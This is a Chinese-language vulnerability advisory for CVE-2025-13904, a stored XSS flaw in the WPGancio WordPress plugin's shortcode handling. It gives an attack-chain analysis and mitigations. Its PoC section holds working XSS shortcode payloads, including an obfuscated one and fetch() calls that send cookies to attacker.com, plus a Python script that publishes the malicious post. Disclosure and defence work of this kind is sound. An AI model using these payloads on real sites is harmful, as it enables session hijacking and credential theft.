IPBUF安全漏洞报告
English
CVE-2025-13904 CVSS 6.4 中危

CVE-2025-13904 WPGancio WordPress插件存储型XSS漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2025-13904
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WPGancio WordPress插件

相关标签

CVE-2025-13904存储型XSSWordPress插件漏洞短代码注入WPGancio跨站脚本攻击Web安全内容管理系統漏洞

漏洞概述

CVE-2025-13904是WordPress平台下WPGancio插件的一个存储型跨站脚本(Stored XSS)安全漏洞。该漏洞存在于插件的'gancio-event'短代码功能中,由于插件在处理用户提供的属性时未能进行充分的输入清理和输出转义,导致恶意JavaScript代码可以被存储到数据库中。攻击者利用此漏洞需要具备WordPress网站的贡献者级别或更高权限,攻击成功后,恶意脚本将在所有访问含毒页面用户的浏览器中执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击等严重安全后果。该漏洞影响WPGancio插件1.12及以下所有版本,CVSS评分6.4,属于中等严重程度。漏洞于2025年12月12日被披露,发现者为Wordfence安全团队。由于WordPress在全球CMS市场中占据约40%份额,此类插件漏洞可能影响大量网站,建议管理员尽快采取修复措施。

技术细节

该漏洞的根本原因在于WPGancio插件的短代码处理函数未能正确实施输入验证和输出编码。攻击者通过WordPress的内容编辑功能(如文章或页面编辑器),在'gancio-event'短代码的属性参数中注入恶意JavaScript payload。问题代码位于插件的wc.php文件第33行附近,该函数直接使用用户输入而未经过htmlspecialchars()或类似函数的转义处理。当含有恶意属性的短代码被保存到数据库后,每次有用户访问该页面时,服务器会从数据库读取并输出这段内容,浏览器将其作为HTML解析并执行其中的JavaScript代码。攻击者通常利用此漏洞窃取管理员Cookie、篡改页面内容或进行进一步的内网渗透。由于存储型XSS的特点,恶意代码会持久存在于服务器端,即使原始攻击者删除相关页面,管理员若未彻底清理,威胁仍可能存在。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标WordPress网站是否安装并启用WPGancio插件,确认插件版本是否在1.12或以下版本范围内
STEP 2
账户获取
攻击者通过社会工程学、密码爆破或凭证泄露等方式获取目标WordPress网站具有贡献者(Contributor)级别或更高权限的用户账户
STEP 3
恶意载荷构造
攻击者构造包含XSS payload的'gancio-event'短代码,payload通常为事件处理器属性如onmouseover、onerror或onclick,内嵌恶意JavaScript代码
STEP 4
注入执行
攻击者通过WordPress后台的文章编辑器或页面编辑器发布或编辑内容,插入构造好的恶意短代码,服务器未正确过滤直接存入数据库
STEP 5
持久化存储
恶意内容作为页面/文章内容的一部分被永久存储在数据库中,所有访问该页面的用户都会触发漏洞
STEP 6
受害者触发
当普通用户或管理员访问含有恶意短代码的页面时,浏览器解析HTML内容,执行注入的JavaScript代码
STEP 7
数据窃取/会话劫持
恶意脚本执行后,可窃取用户Cookie、会话令牌、键盘记录或进行页面篡改,攻击者可利用窃取的凭证提升权限或进一步渗透

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- WordPress Shortcode Stored XSS PoC for CVE-2025-13904 --> <!-- Attack requires Contributor-level or higher WordPress account --> <!-- Basic XSS Payload in gancio-event shortcode --> [gancio-event id='1" onmouseover="alert(document.cookie)" x="'] <!-- More obfuscated payload to bypass basic filters --> [gancio-event slug='test' style='x:expression(eval(atob("YWxlcnQoZG9jdW1lbnQuY29va2llKQ==")))'] <!-- img onerror-based payload --> [gancio-event url='https://example.com/event/1' title='Test" onerror="fetch("https://attacker.com/steal?c="+document.cookie)" x="'] <!-- JavaScript event handler injection --> [gancio-event id='1' onclick='fetch("https://attacker.com/?data="+btoa(document.cookie))'] <!-- Automated exploitation script (Python) --> import requests target_url = "http://target-wordpress-site.com" login_url = f"{target_url}/wp-login.php" post_url = f"{target_url}/wp-admin/post.php" session = requests.Session() # Login with contributor account login_data = { "log": "attacker_username", "pwd": "attacker_password", "wp-submit": "Log In" } session.post(login_url, data=login_data) # Create post with malicious shortcode post_data = { "post_title": "Malicious Event Page", "post_content": "[gancio-event id='1\" onmouseover=\"fetch(\"https://attacker.com/steal?c=\"+document.cookie)\" x=\"']", "post_status": "publish", "action": "editpost" } response = session.post(post_url, data=post_data) print("Exploit sent. Waiting for victims...")

影响范围

WPGancio WordPress插件 <= 1.12

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 立即禁用或删除WPGancio插件;2) 审查所有具有编辑权限的用户账户,撤销可疑账户;3) 在functions.php中添加短代码过滤器,清除未授权的HTML标签和事件属性;4) 使用WordPress安全插件限制贡献者发布包含JavaScript代码的内容;5) 启用双因素认证(2FA)增强管理员账户安全;6) 限制XML-RPC和REST API访问权限;7) 实施HTTP Security Headers特别是Content-Security-Policy头部;8) 定期检查网站文件完整性,监控新增的可疑文件或修改。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表